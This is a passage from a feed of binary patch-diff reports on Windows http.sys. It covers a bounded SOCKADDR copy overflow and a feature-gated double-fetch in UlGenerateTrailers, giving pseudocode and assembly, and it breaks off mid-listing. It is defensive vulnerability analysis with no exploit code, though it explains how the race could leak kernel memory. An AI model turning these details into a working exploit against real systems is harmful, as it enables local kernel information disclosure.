  &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt; copies into the kernel-side buffer.&lt;/li&gt;
&lt;li&gt;The overflow bytes are the connection's own stored &lt;code&gt;SOCKADDR&lt;/code&gt; bytes (kernel-held address
  data), not attacker-chosen content, and the caller reports a fixed consumed size of 0x40
  regardless, so subsequent marshalling offsets would be computed from 0x40 rather than the
  larger amount actually written.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No exploit chain is demonstrated here: the oversized-length precondition is not shown to be
reachable, the overflow magnitude is bounded by the table entry (&lt;code&gt;0x6e - 0x20&lt;/code&gt; at most), and
the overwritten bytes are not attacker-controlled. The value of the patch is removing the
possibility that an unexpected stored address family drives a copy past the fixed slot width.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Function identity:&lt;/strong&gt; unpatched &lt;code&gt;UlpCopyNetworkAddress @ 0x14009BE80&lt;/code&gt;, patched
  &lt;code&gt;UlpCopyNetworkAddress @ 0x14009B990&lt;/code&gt;. Both start with the same prologue and read the
  &lt;code&gt;sa_family&lt;/code&gt; at &lt;code&gt;[*(rcx+0x18)+0x180]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; the unpatched build lacks the &lt;code&gt;cmp si, 0x20&lt;/code&gt; / &lt;code&gt;ja&lt;/code&gt; reject; the patched build
  adds it. The patched build is the stricter one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Table contents:&lt;/strong&gt; &lt;code&gt;sockaddr_size&lt;/code&gt; is identical in both builds. Non-zero entries:
  index 1 = &lt;code&gt;0x6e&lt;/code&gt;, index 2 = &lt;code&gt;0x10&lt;/code&gt;, index 0x17 = &lt;code&gt;0x1c&lt;/code&gt;, index 0x22 = &lt;code&gt;0x24&lt;/code&gt;; all others 0.
  Only indices 1 and 0x22 exceed 0x20.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Copy mechanism:&lt;/strong&gt; &lt;code&gt;RtlCopyToUser&lt;/code&gt; / &lt;code&gt;RtlCopyVolatileMemory&lt;/code&gt;, selected by the copy-to-user
  flag; the source pointers are &lt;code&gt;block+0x180&lt;/code&gt; and &lt;code&gt;block+0x19c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Callers:&lt;/strong&gt; &lt;code&gt;UlpDeepCopyRequest&lt;/code&gt; (&lt;code&gt;0x140116354&lt;/code&gt;) and &lt;code&gt;UlpDeepCopyRequest32&lt;/code&gt; (&lt;code&gt;0x1401166d8&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; (&lt;code&gt;0x14009BE80&lt;/code&gt; → &lt;code&gt;0x14009B990&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Security (hardening)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Adds &lt;code&gt;length &amp;lt;= 0x20&lt;/code&gt; cap before the two &lt;code&gt;SOCKADDR&lt;/code&gt; copies; returns &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; on failure. Overflow only for AF_UNIX/HV address families, which are not shown to be request-reachable. Severity Low.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Note: the addresses &lt;code&gt;0x14009BF77&lt;/code&gt; (referenced elsewhere as a distinct entry) is an internal
error-handling label &lt;em&gt;inside&lt;/em&gt; &lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt;, not a separate function.&lt;/p&gt;
&lt;h3&gt;Behavioral (non-security)&lt;/h3&gt;
&lt;p&gt;The remaining changed functions are servicing/feature-staging churn: WIL feature-staging gates
(&lt;code&gt;Feature_HttpBugFix25Q1&lt;/code&gt; / &lt;code&gt;Feature_HttpBugFix2605&lt;/code&gt; / &lt;code&gt;Feature_Servicing_*&lt;/code&gt;), removal of
duplicated &lt;code&gt;*Old&lt;/code&gt; code paths, WPP/ETW tracing, and HTTP-3/QUIC rebuild churn. Representative
items confirmed as non-security:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlpSetRequestFlags&lt;/code&gt; (&lt;code&gt;0x14009E8E0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Request-flag computation; feature-gate consolidation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UcCaptureCredentialParameters&lt;/code&gt; (&lt;code&gt;0x140164274&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Client-credential capture; SSL-config flag handling consolidation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UcpCreateClientConfiguration&lt;/code&gt; (&lt;code&gt;0x14016491C&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Client config; same flag-consolidation pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlCopyChannelBindConfigFromPropertyInfo&lt;/code&gt; (&lt;code&gt;0x1400DACE4&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Channel-binding config copy; array element-width churn (&lt;code&gt;&amp;lt;&amp;lt;3&lt;/code&gt; vs &lt;code&gt;&amp;lt;&amp;lt;2&lt;/code&gt;). The addresses &lt;code&gt;0x1400DAFD6&lt;/code&gt; and &lt;code&gt;0x1400DAED2&lt;/code&gt; are internal labels of this function, not separate functions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlHttpReceiveHeadersEvent&lt;/code&gt; (&lt;code&gt;0x1400C71F0&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Receive-headers dispatch; feature-gated dual path consolidated.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UxSslValidateErrorHeaders&lt;/code&gt; (&lt;code&gt;0x1400876CC&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;SSL error-header validation; feature-gate consolidation, validation preserved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlFastForwardReceiveEvent&lt;/code&gt; (&lt;code&gt;0x1401190D8&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Fast-forward receive dispatch; feature-gate consolidation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlpPcwEnumerateInstance&lt;/code&gt; (&lt;code&gt;0x14014BC50&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Performance-counter enumeration; error-handling tidy-up, functionally equivalent.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UlCheckProtocolCompliance&lt;/code&gt; (&lt;code&gt;0x140070E10&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Larger refactor; feature-gate consolidation pattern.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;None of these introduces or removes an attacker-reachable bounds/validation boundary.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Removed (in unpatched, absent in patched):  none
Added   (in patched, absent in unpatched):  none
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At the whole-function level the diff tooling reports no additions or deletions. The observable
&lt;code&gt;*Old&lt;/code&gt;-suffixed duplicates removed and WIL feature-staging helpers added between builds are the
servicing/feature-staging churn noted in section 8; none is a delivered security boundary
change beyond Finding 1.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: HIGH for the mechanism and direction.&lt;/strong&gt; The patched build adds a &lt;code&gt;length &amp;lt;= 0x20&lt;/code&gt;
cap (&lt;code&gt;cmp si, 0x20&lt;/code&gt; / &lt;code&gt;ja&lt;/code&gt; at &lt;code&gt;0x14009BA24&lt;/code&gt;) to &lt;code&gt;UlpCopyNetworkAddress&lt;/code&gt; before two &lt;code&gt;SOCKADDR&lt;/code&gt;
copies whose length is the &lt;code&gt;sockaddr_size&lt;/code&gt; table entry; the unpatched build has no such cap.
The guarded operation is an out-of-bounds write (CWE-787 / CWE-120).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- The copy length exceeds 0x20 only for the AF_UNIX and Hyper-V-socket table entries. The
  address family is set by the transport at accept time and is not selectable from HTTP request
  content, so an oversized copy is not demonstrably reachable on a standard TCP/IP listener.
  Severity is rated Low on that basis.
- The overflow, if reached, writes the connection's own stored address bytes (not
  attacker-chosen data) into the request-marshalling buffer, bounded by the table entry.
- No exploit chain, pool/stack grooming, or mitigation-bypass claim is made; none is supported
  by the binaries.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>http.sys — No delivered security fix: feature-staged double-fetch mitigation in UlGenerateTrailers, vulnerable path retained behind UxKir gate</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_e65b51d7-http-report-20260629-004854.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_e65b51d7-http-report-20260629-004854.html</id><summary type="html">&lt;p&gt;KB5075941&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9919&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 3584&lt;/li&gt;
&lt;li&gt;Changed Functions: 10&lt;/li&gt;
&lt;li&gt;Identical Functions: 3574&lt;/li&gt;
&lt;li&gt;Unmatched (Added/Removed): 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The unpatched build contains a genuine double-fetch pattern in the HTTP trailer serialization routine &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (each trailer string pointer is probed, then re-read from the same user-mode memory for the copy). The patched build does &lt;strong&gt;not&lt;/strong&gt; remove this unconditionally. Instead it adds a mitigation that captures the pointer once, &lt;strong&gt;gated behind a Windows feature-staging flag&lt;/strong&gt; (&lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;, set from &lt;code&gt;Feature_2347446586__private_IsEnabledDeviceUsage&lt;/code&gt;), and &lt;strong&gt;retains the original double-fetch path&lt;/strong&gt; in the flag-off branch. This is a staged/rollback-gated change, not an unconditionally delivered security fix. The runtime default of the gate is controlled by external feature configuration and cannot be determined from the binary. The remaining changes in the diff are companion feature-staging plumbing and WIL feature-reporting/telemetry churn.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability / Change Summary&lt;/h2&gt;
&lt;h3&gt;Double-fetch pattern in &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (0x1C000CF94), CWE-367&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;UlGenerateTrailers&lt;/code&gt; @ &lt;code&gt;0x1C000CF94&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature:&lt;/strong&gt; The function serializes an array of HTTP trailer entries. Each 24-byte (&lt;code&gt;0x18&lt;/code&gt;) entry holds two &lt;code&gt;int16_t&lt;/code&gt; lengths at &lt;code&gt;+0x00&lt;/code&gt;/&lt;code&gt;+0x02&lt;/code&gt; and two string pointers at &lt;code&gt;+0x08&lt;/code&gt;/&lt;code&gt;+0x10&lt;/code&gt;. In the unpatched build, for each string the length is read once and cached, but the &lt;strong&gt;pointer is read twice&lt;/strong&gt;: first to pass to the probe helper &lt;code&gt;UlProbeAnsiString&lt;/code&gt; (which validates user-mode readability via &lt;code&gt;UlProbeForRead&lt;/code&gt; → &lt;code&gt;MmUserProbeAddress&lt;/code&gt;), and again immediately before the copy helper &lt;code&gt;memmove&lt;/code&gt;. Only the pointer is double-fetched; the length is single-fetched.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched behavior:&lt;/strong&gt; The patched build reads each pointer once into a register, stores it to a stack slot (&lt;code&gt;Src&lt;/code&gt;), and branches on &lt;code&gt;UxKirHttpReadingTrailersFromUm&lt;/code&gt;. When the flag is nonzero it validates and copies from the captured stack value (no re-read). When the flag is zero it falls back to the original behavior and re-reads the pointer from the array for the &lt;code&gt;memmove&lt;/code&gt;. The vulnerable path is therefore still present in the patched binary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability / impact if the flag-off path runs and the race is won:&lt;/strong&gt; The trailer array and its string pointers live in the calling process's own user-mode memory (the array is validated with &lt;code&gt;UlProbeForRead&lt;/code&gt;, the strings with &lt;code&gt;UlProbeAnsiString&lt;/code&gt;, i.e. read in place, not deep-copied first). A second thread in that process can overwrite a pointer field between the probe and the re-read. If swapped to a kernel address, &lt;code&gt;memmove&lt;/code&gt; copies from that address into the response output buffer, producing a &lt;strong&gt;local, race-dependent kernel information disclosure&lt;/strong&gt; for a process that already speaks the HTTP Server API. This is not remotely triggerable: the pointers are supplied by the local server process, not by a network client.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry point:&lt;/strong&gt; HTTP Server API response send path (&lt;code&gt;HttpSendHttpResponse&lt;/code&gt; / &lt;code&gt;HttpSendResponseEntityBody&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Response send path reaches &lt;code&gt;UlpPrepareHttpResponse&lt;/code&gt; @ &lt;code&gt;0x1C00DD810&lt;/code&gt; (and the fast path &lt;code&gt;UlFastSendHttpResponse&lt;/code&gt; @ &lt;code&gt;0x1C00E21F0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlpPrepareHttpResponse&lt;/code&gt; calls &lt;code&gt;UlGenerateTrailers&lt;/code&gt; (call site at &lt;code&gt;0x1C00DD9D0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UlGenerateTrailers&lt;/code&gt; probes each trailer string pointer, then (flag-off path) re-reads it for the &lt;code&gt;memmove&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;The unpatched code reads each trailer string pointer directly from the array for both validation and the copy. The patched code captures the pointer once and, when the feature flag is set, copies from the captured value; the flag-off branch keeps the re-read.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED UlGenerateTrailers (per entry) ---&lt;/span&gt;
&lt;span class="kt"&gt;int16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// read length once (cached)&lt;/span&gt;
&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// VALIDATE ptr1 (1st pointer read)&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// COPY re-reads ptr1 (2nd pointer read)&lt;/span&gt;

&lt;span class="kt"&gt;int16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// VALIDATE ptr2 (1st read)&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// COPY re-reads ptr2 (2nd read)&lt;/span&gt;


&lt;span class="c1"&gt;// --- PATCHED UlGenerateTrailers (per entry) ---&lt;/span&gt;
&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// read pointer ONCE&lt;/span&gt;
&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// capture to stack slot&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UxKirHttpReadingTrailersFromUm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// feature flag ON&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// validate captured pointer&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// copy uses captured value (no re-read)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                        &lt;/span&gt;&lt;span class="c1"&gt;// feature flag OFF = original behavior&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;UlProbeAnsiString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry_off&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// re-read (double-fetch retained)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched double-fetch (&lt;code&gt;UlGenerateTrailers&lt;/code&gt;, cold/outlined section)&lt;/h3&gt;
&lt;p&gt;The loop body is relocated into an outlined section at &lt;code&gt;0x1C0028886+&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C002894E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r12&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 